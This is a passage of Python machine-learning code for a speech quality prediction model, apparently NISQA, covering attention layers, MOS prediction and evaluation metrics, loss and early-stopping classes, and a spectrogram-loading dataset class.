that can be used by the Alignment module. ''' def __init__(self): super().__init__() def forward(self, query, y): att = torch.bmm(query, y.transpose(2,1)) sim = att.max(2)[0].unsqueeze(1) return att, sim class AttCosine(torch.nn.Module): ''' AttCosine: Cosine attention that can be used by the Alignment module. ''' def __init__(self): super().__init__() self.pdist = nn.CosineSimilarity(dim=3) def forward(self, query, y): att = self.pdist(query.unsqueeze(2), y.unsqueeze(1)) sim = att.max(2)[0].unsqueeze(1) return att, sim class AttDistance(torch.nn.Module): ''' AttDistance: Distance attention that can be used by the Alignment module. ''' def __init__(self, dist_norm=1, weight_norm=1): super().__init__() self.dist_norm = dist_norm self.weight_norm = weight_norm def forward(self, query, y): att = (query.unsqueeze(1)-y.unsqueeze(2)).abs().pow(self.dist_norm) att = att.mean(dim=3).pow(self.weight_norm) att = - att.transpose(2,1) sim = att.max(2)[0].unsqueeze(1) return att, sim class AttBahdanau(torch.nn.Module): ''' AttBahdanau: Attention according to Bahdanau that can be used by the Alignment module. ''' def __init__(self, q_dim, y_dim, att_dim=128): super().__init__() self.q_dim = q_dim self.y_dim = y_dim self.att_dim = att_dim self.Wq = nn.Linear(self.q_dim, self.att_dim) self.Wy = nn.Linear(self.y_dim, self.att_dim) self.v = nn.Linear(self.att_dim, 1) def forward(self, query, y): att = torch.tanh( self.Wq(query).unsqueeze(1) + self.Wy(y).unsqueeze(2) ) att = self.v(att).squeeze(3).transpose(2,1) sim = att.max(2)[0].unsqueeze(1) return att, sim class AttLuong(torch.nn.Module): ''' AttLuong: Attention according to Luong that can be used by the Alignment module. ''' def __init__(self, q_dim, y_dim): super().__init__() self.q_dim = q_dim self.y_dim = y_dim self.W = nn.Linear(self.y_dim, self.q_dim) def forward(self, query, y): att = torch.bmm(query, self.W(y).transpose(2,1)) sim = att.max(2)[0].unsqueeze(1) return att, sim class ApplyHardAttention(torch.nn.Module): ''' ApplyHardAttention: Apply hard attention for the purpose of time-alignment. ''' def __init__(self): super().__init__() def forward(self, y, att): self.idx = att.argmax(2) y = y[torch.arange(y.shape[0]).unsqueeze(-1), self.idx] return y class ApplySoftAttention(torch.nn.Module): ''' ApplySoftAttention: Apply soft attention for the purpose of time-alignment. ''' def __init__(self): super().__init__() def forward(self, y, att): y = torch.bmm(att, y) return y class Fusion(torch.nn.Module): ''' Fusion: Used by the double-ended NISQA_DE model and used to fuse the degraded and reference features. ''' def __init__(self, fuse_dim=None, in_feat=None, fuse=None): super().__init__() self.fuse_dim = fuse_dim self.fuse = fuse if self.fuse=='x/y/-': self.fan_out = 3*in_feat elif self.fuse=='+/-': self.fan_out = 2*in_feat elif self.fuse=='x/y': self.fan_out = 2*in_feat else: raise NotImplementedError if self.fuse_dim: self.lin_fusion = nn.Linear(self.fan_out, self.fuse_dim) self.fan_out = fuse_dim def forward(self, x, y): if self.fuse=='x/y/-': x = torch.cat((x, y, x-y), 2) elif self.fuse=='+/-': x = torch.cat((x+y, x-y), 2) elif self.fuse=='x/y': x = torch.cat((x, y), 2) else: raise NotImplementedError if self.fuse_dim: x = self.lin_fusion(x) return x #%% Evaluation # def predict_mos(model, ds, bs, dev, num_workers=0): ''' predict_mos: predicts MOS of the given dataset with given model. Used for NISQA and NISQA_DE model. ''' dl = DataLoader(ds, batch_size=bs, shuffle=False, drop_last=False, pin_memory=False, num_workers=num_workers) model.to(dev) model.eval() with torch.no_grad(): import time start = time.time() y_hat_list = [ [model(xb.to(dev), n_wins.to(dev)).cpu().numpy(), yb.cpu().numpy()] for xb, yb, (idx, n_wins), yb_std, yb_votes in dl] end = time.time() proc_time = end - start print('total processing time: %.3f sec' % proc_time ) yy = np.concatenate( y_hat_list, axis=1 ) y_hat = yy[0,:,0].reshape(-1,1) y = yy[1,:,0].reshape(-1,1) ds.df['mos_pred'] = y_hat.astype(dtype=float) return y_hat, y # def predict_mos_multitask(model, ds, bs, dev, num_workers=0): ''' predict_mos_multitask: predicts MOS and MOS std of the given dataset with given model. ''' dl = DataLoader(ds, batch_size=bs, shuffle=False, drop_last=False, pin_memory=False, num_workers=num_workers) model.to(dev) model.eval() with torch.no_grad(): import time start = time.time() y_hat_list = [ [model(xb.to(dev), n_wins.to(dev)).cpu().numpy(), np.concatenate((yb, yb_std), axis=1)] for xb, yb, (idx, n_wins), yb_std, yb_votes in dl] end = time.time() proc_time = end - start print('total processing time: %.3f sec' % proc_time ) # import pdb; pdb.set_trace() yy = np.concatenate( y_hat_list, axis=1 ) y_hat = yy[0,:,:] y = yy[1,:,:] ds.df['mos_pred'] = y_hat[:,0].reshape(-1,1) ds.df['std_pred'] = y_hat[:,1].reshape(-1,1) return y_hat, y # def predict_mos_multifeature(model, ds, bs, dev, num_workers=0): ''' predict_mos: predicts MOS of the given dataset with given model. Used for NISQA and NISQA_DE model. ''' dl = DataLoader(ds, batch_size=bs, shuffle=False, drop_last=False, pin_memory=False, num_workers=num_workers) model.to(dev) model.eval() with torch.no_grad(): y_hat_list = [ [model(torch.cat((xb, ssl), -2).to(dev), n_wins.to(dev)).cpu().numpy(), yb.cpu().numpy()] for xb, ssl, yb, (idx, n_wins), yb_std, yb_votes in dl] yy = np.concatenate( y_hat_list, axis=1 ) y_hat = yy[0,:,0].reshape(-1,1) y = yy[1,:,0].reshape(-1,1) ds.df['mos_pred'] = y_hat.astype(dtype=float) return y_hat, y # def predict_mos_multiresolution(model_1, model_2, model_3, ds, bs, dev, num_workers=0): ''' predict_mos: predicts MOS of the given dataset with given model. Used for NISQA and NISQA_DE model. ''' dl = DataLoader(ds, batch_size=bs, shuffle=False, drop_last=False, pin_memory=False, num_workers=num_workers) model_1.to(dev) model_2.to(dev) model_3.to(dev) model_1.eval() model_2.eval() model_3.eval() with torch.no_grad(): y_hat_list = [ [(model_1(xb1.to(dev), n_wins1.to(dev)).cpu().numpy() + model_2(xb2.to(dev), n_wins2.to(dev)).cpu().numpy() + model_3(xb3.to(dev), n_wins3.to(dev)).cpu().numpy())/3, yb.cpu().numpy()] for xb1, xb2, xb3, yb, (idx, n_wins1, n_wins2, n_wins3), yb_std, yb_votes in dl] yy = np.concatenate( y_hat_list, axis=1 ) y_hat = yy[0,:,0].reshape(-1,1) y = yy[1,:,0].reshape(-1,1) ds.df['mos_pred'] = y_hat.astype(dtype=float) return y_hat, y # def predict_mos_multiscale(model_1, model_2, model_3, ds, bs, dev, num_workers=0): ''' predict_mos: predicts MOS of the given dataset with given model. Used for NISQA and NISQA_DE model. ''' dl = DataLoader(ds, batch_size=bs, shuffle=False, drop_last=False, pin_memory=False, num_workers=num_workers) model_1.to(dev) model_2.to(dev) model_3.to(dev) model_1.eval() model_2.eval() model_3.eval() y_hat_list = [] with torch.no_grad(): for sr, xb1, xb2, xb3, yb, (idx, n_wins1, n_wins2, n_wins3), yb_std, yb_votes in dl: if sr == 48000 or sr == 44100: y_hat_list.append([(model_1(xb1.to(dev), n_wins1.to(dev)).cpu().numpy() + model_2(xb2.to(dev), n_wins2.to(dev)).cpu().numpy() + model_3(xb3.to(dev), n_wins3.to(dev)).cpu().numpy())/3, yb.cpu().numpy()]) elif sr == 16000 or sr == 32000: y_hat_list.append([(model_2(xb2.to(dev), n_wins2.to(dev)).cpu().numpy() + model_3(xb3.to(dev), n_wins3.to(dev)).cpu().numpy())/2, yb.cpu().numpy()]) else: y_hat_list.append([(model_3(xb3.to(dev), n_wins3.to(dev)).cpu().numpy()), yb.cpu().numpy()]) yy = np.concatenate( y_hat_list, axis=1 ) y_hat = yy[0,:,0].reshape(-1,1) y = yy[1,:,0].reshape(-1,1) ds.df['mos_pred'] = y_hat.astype(dtype=float) return y_hat, y # def predict_dim(model, ds, bs, dev, num_workers=0): # ''' predict_dim: predicts MOS and dimensions of the given dataset with given model. Used for NISQA_DIM model. ''' dl = DataLoader(ds, batch_size=bs, shuffle=False, drop_last=False, pin_memory=False, num_workers=num_workers) model.to(dev) model.eval() with torch.no_grad(): y_hat_list = [ [model(xb.to(dev), n_wins.to(dev)).cpu().numpy(), yb.cpu().numpy()] for xb, yb, (idx, n_wins) in dl] yy = np.concatenate( y_hat_list, axis=1 ) y_hat = yy[0,:,:] y = yy[1,:,:] ds.df['mos_pred'] = y_hat[:,0].reshape(-1,1) ds.df['noi_pred'] = y_hat[:,1].reshape(-1,1) ds.df['dis_pred'] = y_hat[:,2].reshape(-1,1) ds.df['col_pred'] = y_hat[:,3].reshape(-1,1) ds.df['loud_pred'] = y_hat[:,4].reshape(-1,1) return y_hat, y def is_const(x): if np.linalg.norm(x - np.mean(x)) < 1e-13 * np.abs(np.mean(x)): return True elif np.all(x==x[0]): return True else: return False # def calc_eval_metrics(y, y_hat, y_hat_map=None, d=None, ci=None): ''' Calculate RMSE, mapped RMSE, mapped RMSE* and Pearson's correlation. See ITU-T P.1401 for details on RMSE*. ''' r = { 'pcc': np.nan, 'srcc': np.nan, 'rmse': np.nan, 'rmse_map': np.nan, 'rmse_star_map': np.nan, } if is_const(y_hat) or any(np.isnan(y)): r['pcc'] = np.nan else: r['pcc'] = pearsonr(y, y_hat)[0] if is_const(y_hat) or any(np.isnan(y)): r['srcc'] = np.nan else: r['srcc'] = spearmanr(y, y_hat)[0] r['rmse'] = calc_rmse(y, y_hat) if y_hat_map is not None: r['rmse_map'] = calc_rmse(y, y_hat_map, d=d) if ci is not None: r['rmse_star_map'] = calc_rmse_star(y, y_hat_map, ci, d)[0] return r def calc_rmse(y_true, y_pred, d=0): if d==0: rmse = np.sqrt(np.mean(np.square(y_true-y_pred))) else: N = y_true.shape[0] if (N-d)<1: rmse = np.nan else: rmse = np.sqrt( 1/(N-d) * np.sum( np.square(y_true-y_pred) ) ) # Eq (7-29) P.1401 return rmse def calc_rmse_star(mos_sub, mos_obj, ci, d): N = mos_sub.shape[0] error = mos_sub-mos_obj if np.isnan(ci).any(): p_error = np.nan rmse_star = np.nan else: p_error = (abs(error)-ci).clip(min=0) # Eq (7-27) P.1401 if (N-d)<1: rmse_star = np.nan else: rmse_star = np.sqrt( 1/(N-d) * sum(p_error**2) ) # Eq (7-29) P.1401 return rmse_star, p_error, error def calc_mapped(x, b): N = x.shape[0] order = b.shape[0]-1 A = np.zeros([N,order+1]) for i in range(order+1): A[:,i] = x**(i) return A @ b def fit_first_order(y_con, y_con_hat): A = np.vstack([np.ones(len(y_con_hat)), y_con_hat]).T b = np.linalg.lstsq(A, y_con, rcond=None)[0] return b def fit_second_order(y_con, y_con_hat): A = np.vstack([np.ones(len(y_con_hat)), y_con_hat, y_con_hat**2]).T b = np.linalg.lstsq(A, y_con, rcond=None)[0] return b def fit_third_order(y_con, y_con_hat): A = np.vstack([np.ones(len(y_con_hat)), y_con_hat, y_con_hat**2, y_con_hat**3]).T b = np.linalg.lstsq(A, y_con, rcond=None)[0] p = np.poly1d(np.flipud(b)) p2 = np.polyder(p) rr = np.roots(p2) r = rr[np.imag(rr)==0] monotonic = all( np.logical_or(r>max(y_con_hat),r<min(y_con_hat)) ) if monotonic==False: print('Not monotonic!!!') return b def fit_monotonic_third_order( dfile_db, dcon_db=None, pred=None, target_mos=None, target_ci=None, mapping=None): ''' Fits third-order function with the constrained to be monotonically. increasing. This function may not return an optimal fitting. ''' y = dfile_db[target_mos].to_numpy() y_hat = dfile_db[pred].to_numpy() if dcon_db is None: if target_ci in dfile_db: ci = dfile_db[target_ci].to_numpy() else: ci = 0 else: y_con = dcon_db[target_mos].to_numpy() if target_ci in dcon_db: ci = dcon_db[target_ci].to_numpy() else: ci = 0 x = y_hat y_hat_min = min(y_hat) - 0.01 y_hat_max = max(y_hat) + 0.01 def polynomial(p, x): return p[0]+p[1]*x+p[2]*x**2+p[3]*x**3 def constraint_2nd_der(p): return 2*p[2]+6*p[3]*x def constraint_1st_der(p): x = np.arange(y_hat_min, y_hat_max, 0.1) return p[1]+2*p[2]*x+3*p[3]*x**2 def objective_con(p): x_map = polynomial(p, x) dfile_db['x_map'] = x_map x_map_con = dfile_db.groupby('con').mean().x_map.to_numpy() err = x_map_con-y_con if mapping=='pError': p_err = (abs(err)-ci).clip(min=0) return (p_err**2).sum() elif mapping=='error': return (err**2).sum() else: raise NotImplementedError def objective_file(p): x_map = polynomial(p, x) err = x_map-y if mapping=='pError': p_err = (abs(err)-ci).clip(min=0) return (p_err**2).sum() elif mapping=='error': return (err**2).sum() else: raise NotImplementedError cons = dict(type='ineq', fun=constraint_1st_der) if dcon_db is None: res = minimize( objective_file, x0=np.array([0., 1., 0., 0.]), method='SLSQP', constraints=cons, ) else: res = minimize( objective_con, x0=np.array([0., 1., 0., 0.]), method='SLSQP', constraints=cons, ) b = res.x return b def calc_mapping( dfile_db, mapping=None, dcon_db=None, target_mos=None, target_ci=None, pred=None, ): ''' Computes mapping between subjective and predicted MOS. ''' if dcon_db is not None: y = dcon_db[target_mos].to_numpy() y_hat = dfile_db.groupby('con').mean().get(pred).to_numpy() else: y = dfile_db[target_mos].to_numpy() y_hat = dfile_db[pred].to_numpy() if mapping==None: b = np.array([0,1,0,0]) d_map = 0 elif mapping=='first_order': b = fit_first_order(y, y_hat) d_map = 1 elif mapping=='second_order': b = fit_second_order(y, y_hat) d_map = 3 elif mapping=='third_order_not_monotonic': b = fit_third_order(y, y_hat) d_map = 4 elif mapping=='third_order': b = fit_monotonic_third_order( dfile_db, dcon_db=dcon_db, pred=pred, target_mos=target_mos, target_ci=target_ci, mapping='error', ) d_map = 4 else: raise NotImplementedError return b, d_map def eval_results( df, dcon=None, target_mos = 'mos', target_ci = 'mos_ci', pred = 'mos_pred', mapping = None, do_print = False, do_plot = False ): ''' Evaluates a trained model on given dataset. ''' # Loop through databases db_results_df = [] df['y_hat_map'] = np.nan for db_name in df.database.astype("category").cat.categories: df_db = df.loc[df.database==db_name] if dcon is not None: dcon_db = dcon.loc[dcon.database==db_name] else: dcon_db = None # per file ----------------------------------------------------------- y = df_db[target_mos].to_numpy() if np.isnan(y).any(): r = {'pcc': np.nan,'srcc': np.nan,'rmse': np.nan, 'rmse_map': np.nan} else: y_hat = df_db[pred].to_numpy() b, d = calc_mapping( df_db, mapping=mapping, target_mos=target_mos, target_ci=target_ci, pred=pred ) y_hat_map = calc_mapped(y_hat, b) r = calc_eval_metrics(y, y_hat, y_hat_map=y_hat_map, d=d) r.pop('rmse_star_map') r = {f'{k}_file': v for k, v in r.items()} # per con ------------------------------------------------------------ r_con = {'pcc': np.nan,'srcc': np.nan,'rmse': np.nan, 'rmse_map': np.nan} if (dcon_db is not None) and ('con' in df_db): y_con = dcon_db[target_mos].to_numpy() y_con_hat = df_db.groupby('con').mean().get(pred).to_numpy() if not np.isnan(y_con).any(): if target_ci in dcon_db: ci_con = dcon_db[target_ci].to_numpy() else: ci_con = None b_con, d = calc_mapping( df_db, dcon_db=dcon_db, mapping=mapping, target_mos=target_mos, target_ci=target_ci, pred=pred ) df_db['y_hat_map'] = calc_mapped(y_hat, b_con) df['y_hat_map'].loc[df.database==db_name] = df_db['y_hat_map'] y_con_hat_map = df_db.groupby('con').mean().get('y_hat_map').to_numpy() r_con = calc_eval_metrics(y_con, y_con_hat, y_hat_map=y_con_hat_map, d=d, ci=ci_con) r_con = {f'{k}_con': v for k, v in r_con.items()} r = {**r, **r_con} # --------------------------------------------------------------------- db_results_df.append({'database': db_name, **r}) # Plot ------------------------------------------------------------------ if do_plot and (not np.isnan(y).any()): xx = np.arange(0, 6, 0.01) yy = calc_mapped(xx, b) plt.figure(figsize=(3.0, 3.0), dpi=300) plt.clf() plt.plot(y_hat, y, 'o', label='Original data', markersize=2) plt.plot([0, 5], [0, 5], 'gray') plt.plot(xx, yy, 'r', label='Fitted line') plt.axis([1, 5, 1, 5]) plt.gca().set_aspect('equal', adjustable='box') plt.grid(True) plt.xticks(np.arange(1, 6)) plt.yticks(np.arange(1, 6)) plt.title(db_name + ' per file') plt.ylabel('Subjective ' + target_mos.upper()) plt.xlabel('Predicted ' + target_mos.upper()) # plt.savefig('corr_diagram_fr_' + db_name + '.pdf', dpi=300, bbox_inches="tight") plt.show() if (dcon_db is not None) and ('con' in df_db): xx = np.arange(0, 6, 0.01) yy = calc_mapped(xx, b_con) plt.figure(figsize=(3.0, 3.0), dpi=300) plt.clf() plt.plot(y_con_hat, y_con, 'o', label='Original data', markersize=3) plt.plot([0, 5], [0, 5], 'gray') plt.plot(xx, yy, 'r', label='Fitted line') plt.axis([1, 5, 1, 5]) plt.gca().set_aspect('equal', adjustable='box') plt.grid(True) plt.xticks(np.arange(1, 6)) plt.yticks(np.arange(1, 6)) plt.title(db_name + ' per con') plt.ylabel('Sub ' + target_mos.upper()) plt.xlabel('Pred ' + target_mos.upper()) # plt.savefig(db_name + '.pdf', dpi=300, bbox_inches="tight") plt.show() # import pdb; pdb.set_trace() # Print ------------------------------------------------------------------ if do_print and (not np.isnan(y).any()): if (dcon_db is not None) and ('con' in df_db): print('%-30s pcc_file: %0.2f, rmse_map_file: %0.2f, pcc_con: %0.2f, rmse_map_con: %0.2f, ' % (db_name+':', r['pcc_file'], r['rmse_map_file'], r['pcc_con'], r['rmse_map_con'])) else: print('%-30s pcc_file: %0.2f, srcc_file: %0.2f, rmse_map_file: %0.2f' % (db_name+':', r['pcc_file'], r['srcc_file'], r['rmse_map_file'])) # Save individual database results in DataFrame db_results_df = pd.DataFrame(db_results_df) r_average = {} r_average['pcc_mean_file'] = db_results_df.pcc_file.mean() r_average['srcc_mean_file'] = db_results_df.srcc_file.mean() r_average['rmse_mean_file'] = db_results_df.rmse_file.mean() r_average['rmse_map_mean_file'] = db_results_df.rmse_map_file.mean() if dcon_db is not None: r_average['pcc_mean_con'] = db_results_df.pcc_con.mean() r_average['rmse_mean_con'] = db_results_df.rmse_con.mean() r_average['rmse_map_mean_con'] = db_results_df.rmse_map_con.mean() r_average['rmse_star_map_mean_con'] = db_results_df.rmse_star_map_con.mean() else: r_average['pcc_mean_con'] = np.nan r_average['rmse_mean_con'] = np.nan r_average['rmse_map_mean_con'] = np.nan r_average['rmse_star_map_mean_con'] = np.nan # Get overall per file results y = df[target_mos].to_numpy() y_hat = df[pred].to_numpy() r_total_file = calc_eval_metrics(y, y_hat) r_total_file = {'pcc_all': r_total_file['pcc'], 'srcc_all': r_total_file['srcc'], 'rmse_all': r_total_file['rmse'],} overall_results = { **r_total_file, **r_average } return db_results_df, overall_results #%% Loss class biasLoss(object): ''' Bias loss class. Calculates loss while considering database bias. ''' def __init__(self, db, anchor_db=None, mapping='first_order', min_r=0.7, loss_weight=0.0, do_print=True): self.db = db self.mapping = mapping self.min_r = min_r self.anchor_db = anchor_db self.loss_weight = loss_weight self.do_print = do_print self.b = np.zeros((len(db),4)) self.b[:,1] = 1 self.do_update = False self.apply_bias_loss = True if (self.min_r is None) or (self.mapping is None): self.apply_bias_loss = False def get_loss(self, yb, yb_hat, idx): if self.apply_bias_loss: b = torch.tensor(self.b, dtype=torch.float).to(yb_hat.device) b = b[idx,:] yb_hat_map = (b[:,0]+b[:,1]*yb_hat[:,0]+b[:,2]*yb_hat[:,0]**2+b[:,3]*yb_hat[:,0]**3).view(-1,1) loss_bias = self._nan_mse(yb_hat_map, yb) loss_normal = self._nan_mse(yb_hat, yb) loss = loss_bias + self.loss_weight * loss_normal else: loss = self._nan_mse(yb_hat, yb) return loss def update_bias(self, y, y_hat): if self.apply_bias_loss: y_hat = y_hat.reshape(-1) y = y.reshape(-1) if not self.do_update: r = pearsonr(y[~np.isnan(y)], y_hat[~np.isnan(y)])[0] if self.do_print: print('--> bias update: min_r {:0.2f}, pcc {:0.2f}'.format(r, self.min_r)) if r>self.min_r: self.do_update = True if self.do_update: if self.do_print: print('--> bias updated') for db_name in self.db.unique(): db_idx = (self.db==db_name).to_numpy().nonzero() y_hat_db = y_hat[db_idx] y_db = y[db_idx] if not np.isnan(y_db).any(): if self.mapping=='first_order': b_db = self._calc_bias_first_order(y_hat_db, y_db) else: raise NotImplementedError if not db_name==self.anchor_db: self.b[db_idx,:len(b_db)] = b_db def _calc_bias_first_order(self, y_hat, y): A = np.vstack([np.ones(len(y_hat)), y_hat]).T btmp = np.linalg.lstsq(A, y, rcond=None)[0] b = np.zeros((4)) b[0:2] = btmp return b def _nan_mse(self, y, y_hat): err = (y-y_hat).view(-1) idx_not_nan = ~torch.isnan(err) nan_err = err[idx_not_nan] return torch.mean(nan_err**2) #%% Early stopping class earlyStopper(object): ''' Early stopping class. Training is stopped if neither RMSE or Pearson's correlation is improving after "patience" epochs. ''' def __init__(self, patience): self.best_rmse = 1e10 self.best_r_p = -1e10 self.cnt = -1 self.patience = patience self.best = False def step(self, r): self.best = False if r['pcc_mean_file'] > self.best_r_p: self.best_r_p = r['pcc_mean_file'] self.cnt = -1 if r['rmse_map_mean_file'] < self.best_rmse: self.best_rmse = r['rmse_map_mean_file'] self.cnt = -1 self.best = True self.cnt += 1 if self.cnt >= self.patience: stop_early = True return stop_early else: stop_early = False return stop_early class earlyStopper_multitask(object): ''' Early stopping class for multi-task model. Training is stopped if neither RMSE or Pearson's correlation is improving after "patience" epochs. ''' def __init__(self, patience): self.best_rmse = 1e10 self.best_rmse_std = 1e10 self.best_r_p = -1e10 self.best_r_p_std = -1e10 self.cnt = -1 self.patience = patience self.best = False def step(self, r): self.best = False if r['pcc_mean_file'] > self.best_r_p: self.best_r_p = r['pcc_mean_file'] self.cnt = -1 if r['pcc_mean_file_std'] > self.best_r_p_std: self.best_r_p_std = r['pcc_mean_file_std'] self.cnt = -1 if r['rmse_map_mean_file'] < self.best_rmse: self.best_rmse = r['rmse_map_mean_file'] self.cnt = -1 self.best = True if r['rmse_map_mean_file_std'] < self.best_rmse_std: self.best_rmse_std = r['rmse_map_mean_file_std'] self.cnt = -1 self.cnt += 1 if self.cnt >= self.patience: stop_early = True return stop_early else: stop_early = False return stop_early class earlyStopper_dim(object): ''' Early stopping class for dimension model. Training is stopped if neither RMSE or Pearson's correlation is improving after "patience" epochs. ''' def __init__(self, patience): self.best_rmse = 1e10 self.best_rmse_noi = 1e10 self.best_rmse_col = 1e10 self.best_rmse_dis = 1e10 self.best_rmse_loud = 1e10 self.best_r_p = -1e10 self.best_r_p_noi = -1e10 self.best_r_p_col = -1e10 self.best_r_p_dis = -1e10 self.best_r_p_loud = -1e10 self.cnt = -1 self.patience = patience self.best = False def step(self, r): self.best = False if r['pcc_mean_file'] > self.best_r_p: self.best_r_p = r['pcc_mean_file'] self.cnt = -1 if r['pcc_mean_file_noi'] > self.best_r_p_noi: self.best_r_p_noi = r['pcc_mean_file_noi'] self.cnt = -1 if r['pcc_mean_file_col'] > self.best_r_p_col: self.best_r_p_col = r['pcc_mean_file_col'] self.cnt = -1 if r['pcc_mean_file_dis'] > self.best_r_p_dis: self.best_r_p_dis = r['pcc_mean_file_dis'] self.cnt = -1 if r['pcc_mean_file_loud'] > self.best_r_p_loud: self.best_r_p_loud = r['pcc_mean_file_loud'] self.cnt = -1 if r['rmse_map_mean_file'] < self.best_rmse: self.best_rmse = r['rmse_map_mean_file'] self.cnt = -1 self.best = True if r['rmse_map_mean_file_noi'] < self.best_rmse_noi: self.best_rmse_noi = r['rmse_map_mean_file_noi'] self.cnt = -1 if r['rmse_map_mean_file_col'] < self.best_rmse_col: self.best_rmse_col = r['rmse_map_mean_file_col'] self.cnt = -1 if r['rmse_map_mean_file_dis'] < self.best_rmse_dis: self.best_rmse_dis = r['rmse_map_mean_file_dis'] self.cnt = -1 if r['rmse_map_mean_file_loud'] < self.best_rmse_loud: self.best_rmse_loud = r['rmse_map_mean_file_loud'] self.cnt = -1 self.cnt += 1 if self.cnt >= self.patience: stop_early = True return stop_early else: stop_early = False return stop_early def get_lr(optimizer): ''' Get current learning rate from Pytorch optimizer. ''' for param_group in optimizer.param_groups: return param_group['lr'] #%% Dataset # class SpeechQualityDataset(Dataset): ''' Dataset for Speech Quality Model. ''' def __init__( self, df, df_con=None, data_dir='', folder_column='', filename_column='filename', mos_column='MOS', seg_length=15, max_length=None, to_memory=False, to_memory_workers=0, transform=None, seg_hop_length=1, ms_n_fft = 1024, ms_hop_length = 80, ms_win_length = 170, ms_n_mels=32, ms_sr=48e3, ms_fmax=16e3, ms_channel=None, double_ended=False, filename_column_ref=None, dim=False, mos_std_column=None, votes_column=None, task_type = 0, ): self.df = df self.df_con = df_con self.data_dir = data_dir self.folder_column = folder_column self.filename_column = filename_column self.filename_column_ref = filename_column_ref self.mos_column = mos_column self.seg_length = seg_length self.seg_hop_length = seg_hop_length self.max_length = max_length self.transform = transform self.to_memory_workers = 0 self.ms_n_fft = ms_n_fft self.ms_hop_length = ms_hop_length self.ms_win_length = ms_win_length self.ms_n_mels = ms_n_mels self.ms_sr = ms_sr self.ms_fmax = ms_fmax self.ms_channel = ms_channel self.double_ended = double_ended self.dim = dim self.mos_std_column = mos_std_column self.votes_column = votes_column self.task_type = task_type # if True load all specs to memory self.to_memory = False self._to_memory() def _to_memory_multi_helper(self, idx): return [self._load_spec(i) for i in idx] def _to_memory(self): if self.to_memory_workers==0: if self.task_type == 0: self.mem_list = [self._load_spec(idx) for idx in tqdm(range(len(self)))] elif self.task_type == 1: self.mem_list = [self._load_spec_multi_task(idx) for idx in tqdm(range(len(self)))] elif self.task_type == 2: self.mem_list = [self._load_spec_multi_feature(idx) for idx in tqdm(range(len(self)))] elif self.task_type == 3: self.mem_list = [self._load_spec_multi_resolution(idx) for idx in tqdm(range(len(self)))] elif self.task_type == 4: self.mem_list = [self._load_spec_multi_scale(idx) for idx in tqdm(range(len(self)))] # import pdb; pdb.set_trace() else: buffer_size = 128 idx = np.arange(len(self)) n_bufs = int(len(idx)/buffer_size) idx = idx[:buffer_size*n_bufs].reshape(-1,buffer_size).tolist() + idx[buffer_size*n_bufs:].reshape(1,-1).tolist() pool = multiprocessing.Pool(processes=self.to_memory_workers) mem_list = [] for out in tqdm(pool.imap(self._to_memory_multi_helper, idx), total=len(idx)): mem_list = mem_list + out self.mem_list = mem_list pool.terminate() pool.join() self.to_memory=True # import pdb; pdb.set_trace() def _load_spec(self, index): # Load spec file_path = os.path.join(self.data_dir, self.df[self.filename_column].iloc[index]) feature_path = file_path[:-4] + '_mel80_center.npy' try: spec = np.load(feature_path) except: spec = get_librosa_melspec( file_path, sr = self.ms_sr, n_fft=self.ms_n_fft, hop_length=self.ms_hop_length, win_length=self.ms_win_length, n_mels=self.ms_n_mels, fmax=self.ms_fmax, ms_channel=self.ms_channel ) np.save(feature_path, spec) # import pdb; pdb.set_trace() return spec def _load_spec_multi_task(self, index): # Load spec file_path = os.path.join(self.data_dir, self.df[self.filename_column].iloc[index]) feature_path = file_path[:-4] + '_mel48.npy' try: spec = np.load(feature_path) except: spec = get_librosa_melspec( file_path, sr = self.ms_sr, n_fft=self.ms_n_fft, hop_length=self.ms_hop_length, win_length=self.ms_win_length, n_mels=self.ms_n_mels, fmax=self.ms_fmax, ms_channel=self.ms_channel ) np.save(feature_path, spec) # import pdb; pdb.set_trace() return spec ''' # Load spec file_path = './test/' + self.df['db'].iloc[index] + '/' + self.df['deg_wav'].iloc[index] feature_path = file_path[:-4] + '_mel48.npy' # import pdb; pdb.set_trace() try: spec = np.load(feature_path) except: spec = get_librosa_melspec( file_path, sr = self.ms_sr, n_fft=self.ms_n_fft, hop_length=self.ms_hop_length, win_length=self.ms_win_length, n_mels=self.ms_n_mels, fmax=self.ms_fmax, ms_channel=self.ms_channel ) np.save(feature_path, spec) # import pdb; pdb.set_trace() return spec ''' def _load_spec_multi_feature(self, index): # Load spec file_path = os.path.join(self.data_dir, self.df[self.filename_column].iloc[index]) feature_path = file_path[:-4] + '_mel80.npy' try: spec = np.load(feature_path) except: spec = get_librosa_melspec( file_path, sr=None, n_fft=int(source_sr*0.04), hop_length=0.02, win_length=0.04, n_mels=80, fmax=20000, ms_channel=None, ) np.save(feature_path, spec) feature_path = file_path[:-4] + '_xlsr16k.npy' try: features = np.load(feature_path) except: signal, source_sr = sf.read(file_path) sr = 16000 singal_16k = librosa.resample(signal, source_sr, sr) F = np.reshape(singal_16k,(1,singal_16k.shape[0])) F = torch.from_numpy(F).float().to("cpu") features = self.model_ssl(F, features_only=True, mask=False)['x'] features = features.detach().numpy() features = features.squeeze(0) features = features.transpose(1,0) np.save(feature_path, features) frames = min(features.shape[1], spec.shape[1]) features = features[:,0:frames] spec = spec[:,0:frames] assert features.shape[1] == spec.shape[1], "ssl feature frames not equal to spectrum feature frames" # import pdb; pdb.set_trace() return spec, features def _load_spec_multi_resolution(self, index): # Load spec file_path = os.path.join(self.data_dir, self.df[self.filename_column].iloc[index]) feature_path = file_path[:-4] + '_mr_2_10.npy' try: spec1 = np.load(feature_path) except: spec1 = get_librosa_melspec( file_path, sr=None, n_fft=4096, hop_length=0.002, win_length=0.010, n_mels=80, fmax=20000, ms_channel=None, ) np.save(feature_path, spec1) feature_path = file_path[:-4] + '_mr_5_25.npy' try: spec2 = np.load(feature_path) except: spec2 = get_librosa_melspec( file_path, sr=None, n_fft=4096, hop_length=0.005, win_length=0.025, n_mels=80, fmax=20000, ms_channel=None, ) np.save(feature_path, spec2) feature_path = file_path[:-4] + '_mr_10_50.npy' try: spec3 = np.load(feature_path) except: spec3 = get_librosa_melspec( file_path, sr=None, n_fft=4096, hop_length=0.010, win_length=0.050, n_mels=80, fmax=20000, ms_channel=None, ) np.save(feature_path, spec3) # import pdb; pdb.set_trace() return spec1, spec2, spec3 def _load_spec_multi_scale(self, index): # Load spec file_path = os.path.join(self.data_dir, self.df[self.filename_column].iloc[index]) feature_path = file_path[:-4] + '_sr.npy' sr = np.load(feature_path) if sr == 48000 or sr == 44100: feature_path = file_path[:-4] + '_ms_48k.npy' try: spec1 = np.load(feature_path) except: spec1 = get_librosa_melspec( file_path, sr=48000, n_fft=4096, hop_length=0.01, win_length=0.02, 